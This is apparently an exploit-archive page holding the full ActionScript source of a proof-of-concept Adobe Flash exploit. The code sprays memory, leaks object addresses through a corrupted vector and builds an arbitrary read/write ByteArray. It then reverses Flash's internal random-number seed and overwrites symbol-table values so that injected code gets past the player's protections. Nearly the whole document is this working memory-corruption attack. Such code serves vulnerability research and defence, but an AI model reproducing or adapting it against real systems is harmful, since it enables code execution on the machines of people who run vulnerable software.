4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / Exploiter.as AS
package 
{
	/**
	 * ...
	 * @author dango
	 */
	import flash.utils.ByteArray;
	import flash.system.System;
	 
	public class Exploiter 
	{
		private const VECTOR_OBJECTS_LENGTH:uint = 1014;
		private var ev:ExploitVector;
		private var eba:ExploitByteArray;
		private var byte_array_object:uint;
		private var exploit:String;
		private var main:uint;
		private var vtable:uint;
		
		private var pos:uint;
		
		private var payload:ByteArray;
		private var payload_address:uint;
		private var payload_space_object:uint;
		private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400);
		
		private var stub:Vector.<uint> = new Vector.<uint>(8);
		private var stub_address:uint;
		private var stub_space_object:uint;
		
		private var stack:Vector.<uint> = new Vector.<uint>(0x6400);
		private var stack_address:uint;
		private var stack_object:uint;
		
		private var spray:Vector.<Object> = new Vector.<Object>(90000);
		
		private var magic:uint;
		private var magic_arg0:uint;
		private var magic_arg1:uint;
		private var magic_object:uint;
		private var magic_table:uint;
		
		private var buffer:uint;
		private var buffer_object:uint;
		private var unknown_pointer:uint;
		
		
		private	var point:Point;
		private var point_address:uint;
		
		private var rg:RandomGenerator;
		
		
		private var uValue:uint = 0;
		private var uXorMask:uint;
		private var uLength:uint;
		
		private var symbolTableAddr:uint = 0;
		
		private var targetValue1:uint;
		private var targetValue2:uint;
		private var predicateCookie:uint;
		
		private var d1:Date;
		private var d2:Date;
		private var d3:Date;
		private var d4:Date;
		
		
		public function Exploiter(uv:Vector.<uint>, uv_length:uint):void 
		{
			exploit = "AAAA";
			
			ev = new ExploitVector(uv, uv_length);
			if (!ev.is_ready()) 
			{
				Logger.log("Exploit vector is not ready");
				return;
			}
			
			eba = new ExploitByteArray();
			point = new Point();
			
			spray_objects();
			try
			{
				pos = search_objects();
			}
			catch (err:Error)
			{
				return;
			}
			ev.set_own_address(pos);
			
			if (!disclose_objects() ) {return; }
			disclose_addresses();
			corrupt_byte_array();
			if (!eba.is_ready()) { return; }
			
			search_TRandomFast();
			
			if (uValue == 0) {
				Logger.log("Fail to find uValue");  
				return; 
			}
			
			d1 = new Date();
			point.ReleasePattern1();
			point.ReleasePattern2();
			point.ReleasePattern3();
			point.ReleasePattern4();
			point.ReleasePattern5();
			point.ReleasePattern6();
			d2 = new Date();
			rg = new RandomGenerator(uValue);
			search_code();
			
			//search symbol table
			search_symbol_table();
			
			//currupt symbol table;
			predicateCookie = calculate(0x81);
			targetValue1 = 0x474e4157 ^ predicateCookie;
			targetValue2 = 0x676e6177 ^ predicateCookie;
			
			eba.write(symbolTableAddr + 0x50, targetValue1);
			eba.write(symbolTableAddr + 0x4c, targetValue2);
			
			
			point.ReleasePattern7();
			Logger.log("Release injected code");
			search_injected_code();
		}
		
		static function Magic(...a){}
		
		private function spray_objects():void
		{
			//Logger.log("[*]Exploiter - spray_objects()");
			stub[0] = 0x0424448b;
			stub[1] = 0x0000c394;
			
			for (var i:uint; i < spray.length; i++ )
			{
				spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH);
				spray[i][0] = eba.ba;
				spray[i][1] = exploit;
				spray[i][2] = stack;
				spray[i][3] = payload_space;
				spray[i][4] = Magic;
				spray[i][5] = stub;
				spray[i][6] = point;
			}
		}
		
		private function search_objects():uint
		{
			var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100);
			Logger.log("Objects index:"+ (idx+1).toString());
			return idx + 1;
		}
		
		private function disclose_objects():Boolean
		{
			byte_array_object = ev.at(pos) - 1;
			main = ev.at(pos + 1) - 2;
			stack_object = ev.at(pos + 2) - 1;
			payload_space_object = ev.at(pos + 3) - 1;
			magic = ev.at(pos + 4) - 1;
			stub_space_object = ev.at(pos + 5) - 1;
			point_address = ev.at(pos + 6) - 1;
			Logger.log("disclose objects:"+byte_array_object.toString(16)+' '+main.toString(16)+' '+stub_space_object.toString(16)+' '+point_address.toString(16) );
			return true;
		}
		
		private function disclose_addresses():void
		{
			unknown_pointer = ev.read(byte_array_object + 0x30);
			buffer_object = ev.read(byte_array_object + 0x44);
			buffer = ev.read(buffer_object + 0x1c);
			vtable = ev.read(main);
			
			Logger.log("disclose addresses:"+vtable.toString(16)+","+buffer.toString(16) + "," + buffer_object.toString(16) + "," + unknown_pointer.toString(16));
		}		
		
		private function corrupt_byte_array():void
		{
			ev.write(buffer_object + 8,0);
			ev.write(buffer_object + 0x10, 0xffffffff);
			eba.lets_ready();
		}
		
		private function search_code():void
		{
			var pe:PE = new PE(eba);
			var flash:uint = pe.base(vtable);
			
			var pattern1:uint = pe.pattern("011440c7", 0x30000, byte_array_object);  //flash_sa_debugger
			var pattern2:uint = pe.pattern("021440c7", 0x60000, byte_array_object);
			var pattern3:uint = pe.pattern("031440c7", 0x60000, byte_array_object);
			var pattern4:uint = pe.pattern("041440c7", 0x60000, byte_array_object);
			var pattern5:uint = pe.pattern("051440c7", 0x60000, byte_array_object);
			var pattern6:uint = pe.pattern("061440c7", 0x60000, byte_array_object);
			
			var random1:uint = eba.read(pattern1+14);
			var random2:uint = eba.read(pattern2+14);
			var random3:uint = eba.read(pattern3+14);
			var random4:uint = eba.read(pattern4+14);
			var random5:uint = eba.read(pattern5+14);
			var random6:uint = eba.read(pattern6+14);
			
			//var value:uint;
			Logger.log("search pattern[1]:" + pattern1.toString(16) + " with " + random1.toString(16));
			Logger.log("search pattern[2]:" + pattern2.toString(16) + " with " + random2.toString(16));
			Logger.log("search pattern[3]:" + pattern3.toString(16) + " with " + random3.toString(16));
			Logger.log("search pattern[4]:" + pattern4.toString(16) + " with " + random4.toString(16));
			Logger.log("search pattern[5]:" + pattern5.toString(16) + " with " + random5.toString(16));
			Logger.log("search pattern[6]:" + pattern6.toString(16) + " with " + random6.toString(16));
			
			reverseConstant(random1, random2, random3);
		}
		
		private function search_injected_code():void
		{
			var pe:PE = new PE(eba);
			var flash:uint = pe.base(vtable);
			
			var pattern7:uint = pe.pattern("071440c7", 0x60000, byte_array_object);
			var random7:uint = eba.read(pattern7+14);
			
			//var value:uint;
			Logger.log("search pattern[7]:" + pattern7.toString(16) + " with " + random7.toString(16));
		}
		
		private function search_TRandomFast():uint
		{
			var pe:PE = new PE(eba);
			var flash:uint = pe.base(vtable);
			
			var i:uint = 0;
			var count:uint = 0;
			for (i = 0; i < 0x100000; i++ )
			{
				uXorMask = eba.read(unknown_pointer + i*4);
				uLength = eba.read(unknown_pointer + (i + 1) * 4);
				if (uXorMask == 0x48000000 &&  uLength == 0x7fffffff)
				{
					count ++;
					uValue = eba.read(unknown_pointer + (i-1)*4);
					Logger.log("[uValue " + count.toString(16) + "]" + uValue.toString(16) + "," + uXorMask.toString(16) + "," + uLength.toString(16));
					if (count == 4) {
						break;
					}
				}
			}
			return uValue;
		}
		
		private function search_symbol_table():uint
		{
			var i:uint = 0;
			var count:uint = 0;
			var value1:uint = 0;
			var value2:uint = 0;
			for (i = 0; i < 0x100000; i++ )
			{
				value2 = eba.read(byte_array_object - i*4);
				value1 = eba.read(byte_array_object - (i + 1) * 4);
				if (value1 == 0x48000000 &&  value2 == 0x7fffffff)
				{
					symbolTableAddr = byte_array_object - (i+1) * 4;
					Logger.log("[symbolTableAddr] " + symbolTableAddr.toString(16));
					break;
				}
			}
			
			return symbolTableAddr;
			
		}
		
		private function reverseConstant(constant1:uint, verifyConstant2:uint, verifyConstant3:uint):uint
		{
			var i:uint;
			var input1:Vector.<uint>;
			var input2:Vector.<uint>;
			var input3:Vector.<uint>;
			var input4:Vector.<uint>;
			var input5:Vector.<uint>;
			var rg:RandomGenerator;
			
			input1 = new Vector.<uint>();
			Logger.log("Reverse Constant");
			input1.push(constant1);
			
			input1.push(constant1 ^ 0x80000000)
			input2 = hashReverse(input1);
			
			input3 = bitReverse(input2);
			
			
			input4 = hashReverse(input3);
			
			input5 = multiReverse(input4);
			
			for (i = 0; i < input5.length; i++ )
			{
				rg = new RandomGenerator(input5[i]);
				if (rg.matchTarget(4, verifyConstant2))
				{
					Logger.log("reverse uValue:"+ input5[i].toString(16));
				}
			}
			return 0;
		}
		
		private function multiReverse(set:Vector.<uint>):Vector.<uint>
		{
			var ans:Vector.<uint>;
			var length:uint;
			var i:uint;
			ans = new Vector.<uint>();
			length = set.length;
			for (i = 0; i < length; i++ )
			{
				solveMultiReverse(set[i], ans);
			}
			return ans;
		}
		
		private function solveMultiReverse(target:uint, ans:Vector.<uint>):void
		{
			var i:uint;
			var r, q:uint;
			var t:uint;
			r = target % 71;
			q = (target - r) / 71;
			for (i = 0; i < 71; i++ )
			{
				if ((i * 9 + r) % 71 == 0)
				{
					t = 60492497 * i ;
					t = t + q;
					t = t + (i * 9 + r) / 71;
					ans.push(((t ^ 0x48000000) << 1) + 1);
					ans.push(t << 1);
				}
			}
		}
		
		private function bitReverse(set:Vector.<uint>):Vector.<uint>
		{
			var ans:Vector.<uint>;
			var length:uint;
			var i:uint;
			ans = new Vector.<uint>();
			length = set.length;
			for (i = 0; i < length; i++ )
			{
				solveBitReverse(set[i], ans);
			}
			return ans;
		}
		
		private function solveBitReverse(target:uint, ans:Vector.<uint>):void
		{
			var solution:uint;
			solution = 0;
			solveBitReverseHelper(target, 0, ans, solution);
		}
		
		private function solveBitReverseHelper(target:uint, target_bit:uint, ans:Vector.<uint>, sol:uint):uint
		{
			var tmp:uint;
			if (target_bit == 32)
			{
				ans.push(sol);
				return 0;
			}
			tmp = sol + (0 << target_bit);
			if (    ( poly(tmp) & (1 << target_bit))          ==   ( target & (1 << target_bit))      )
			{
				solveBitReverseHelper(target, target_bit+1, ans, tmp);
			}
			tmp = sol + (1 << target_bit);
			if (   ( poly(tmp) & (1 << target_bit))          ==   ( target & (1 << target_bit))    )
			{
				solveBitReverseHelper(target, target_bit+1, ans, tmp);
			}
			return 0;
		}
		
		private function poly(seed:uint):uint
		{
			var ans:uint = 0;
			ans = seed * seed ; //( seed * (seed * seed * 0x3d73 + 0xc0ae5));// - 0x2df722f3 );// & 0x7fffffff;
			ans = ans * 0x3d73
			ans = (ans + 0xc0ae5);
			ans = (seed * ans);
			ans = ans - 0x2df722f3;
			ans = ans & 0x7fffffff;
			ans += seed;
			return ans
		}
		
		private function hashReverse(set:Vector.<uint>):Vector.<uint>
		{
			var ans:Vector.<uint>
			var length:uint;
			var i:uint;
			ans = new Vector.<uint>();
			length = set.length;
			for (i = 0; i < length; i++ )
			{
				solveHashReverse(set[i], ans);
			}
			return ans;
		}
		
		private function solveHashReverse(target:uint, ans:Vector.<uint>):void
		{
			var upPart:uint;
			var miPart:uint;
			var loPart:uint;
			var carry:uint;
			var length:uint;
			var i:uint;
			var value:uint;
			var t:uint;
			var tmp:Vector.<uint>;
			tmp = new Vector.<uint>();
			/* Make some clarification here
			the current way to reverse the seed value is not the optimised method.
			If upPart is determined, loPart can be determined in constant time.
			There is no need to use nested loop to find loPart.
			I am just lazy here and do no want to reverse the valye bit by bit.
			*/
			for (upPart = 0; upPart <= 0x7ff; upPart++ )
			{
				for (loPart = 0; loPart <= 0x7ff; loPart++ )
				{
					if (((upPart + (target & 0x7ff)) & 0x7ff) == loPart)
					{
						tmp.push((upPart<<21) + loPart);
					}
				}
			}
			length = tmp.length;
			for (i = 0; i < length; i++ )
			{
				for (miPart = 0; miPart <= 0x3ff; miPart++ )
				{
					value = tmp[i] + (miPart << 11);
					t = (((value << 13) ^ value ) - (value >> 21) );
					
					if ( t == target)
					{
						ans.push(value);
						break;
					}
				}
			}
		}
		
		private function calculate(rounds:uint):uint
		{
			var i:uint = 0;
			Logger.log("Start to calculate from " + uValue.toString(16));
			var ans:uint;
			for (i = 0; i < rounds; i++ )
			{
				ans = GenerateRandomNumber();
			}
			Logger.log("[Generating Number (" +i.toString(16) + ")] " + ans.toString(16));
			return ans;
		}
		
		
		private function RandomFastNext()
		{
			if(uValue & 1)
			{
				uValue = (uValue>>1) ^ 0x48000000;
			}
			else
			{
				uValue = uValue>>1;
			}
			//Logger.log("Updated uValue:" + uValue.toString(16));
			return uValue;
		}

		private function RandomPureHash(seed:uint):uint
		{
			var ans:uint;
			seed = ((seed << 13) ^ seed ) - (seed >> 21);
			ans = poly(seed);
			ans = ((ans << 13) ^ ans ) - (ans >> 21);
			return ans;
		}

		private function GenerateRandomNumber():uint
		{
			var aNum:uint;
			aNum = RandomFastNext();
			aNum = RandomPureHash(aNum * 71);
			aNum = aNum & 0x7fffffff;
			return aNum;
		}
	}
}